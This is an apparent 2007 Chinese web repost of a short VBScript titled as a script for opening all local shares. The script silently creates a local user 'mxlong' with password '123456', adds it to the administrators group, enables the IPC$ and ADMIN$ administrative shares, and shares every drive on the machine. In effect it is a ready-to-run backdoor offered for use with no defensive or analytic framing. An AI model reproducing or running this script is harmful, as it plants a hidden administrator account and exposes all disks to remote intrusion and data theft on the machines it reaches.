一个开本地所有共享的脚本

2007-7-25 11:28 771 0

摘要: Dim Fso,WshShell,d,s,dc,n '定义共享盘符Disks=Array("A$=A:","C$=C:","D$=D:","E$=E:","F$=F:","H$=H:","I$=I:...

关键词： WshShell nbsp 驱动器 net Run CreateObject share ADMIN WSCript mxlong

Dim Fso,WshShell,d,s,dc,n '定义共享盘符Disks=Array("A$=A:","C$=C:","D$=D:","E$=E:","F$=F:","H$=H:","I$=I:","J$=J:","K$=K:","L$=L:","M$=M:","N$=N:","O$=O:","P$=P:","Q$=Q:","R$=R:","S$=S:","T$=T:","U$=U:","V$=V:","W$=W:","X$=X:","Y$=Y:","Z$=Z:") Set WshShell=WSCript.CreateObject("WSCript.Shell")Set Fso=CreateObject("Scripting.FileSystemObject")Set dc=Fso.Drives '添加用户到ADMIN组，开IPC$和ADMIN$WshShell.Run "net user mxlong 123456 /add"WshShell.Run "net localgroup administrators mxlong /add"WshShell.Run "net share IPC$"WshShell.Run "net share ADMIN$" '找出驱动器的数目For Each d In dc s=s & d.DriveLetter n=n+1Next '将所有驱动器开共享For i=0 to n WshShell.Run "net share " & Disks(i)Next

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除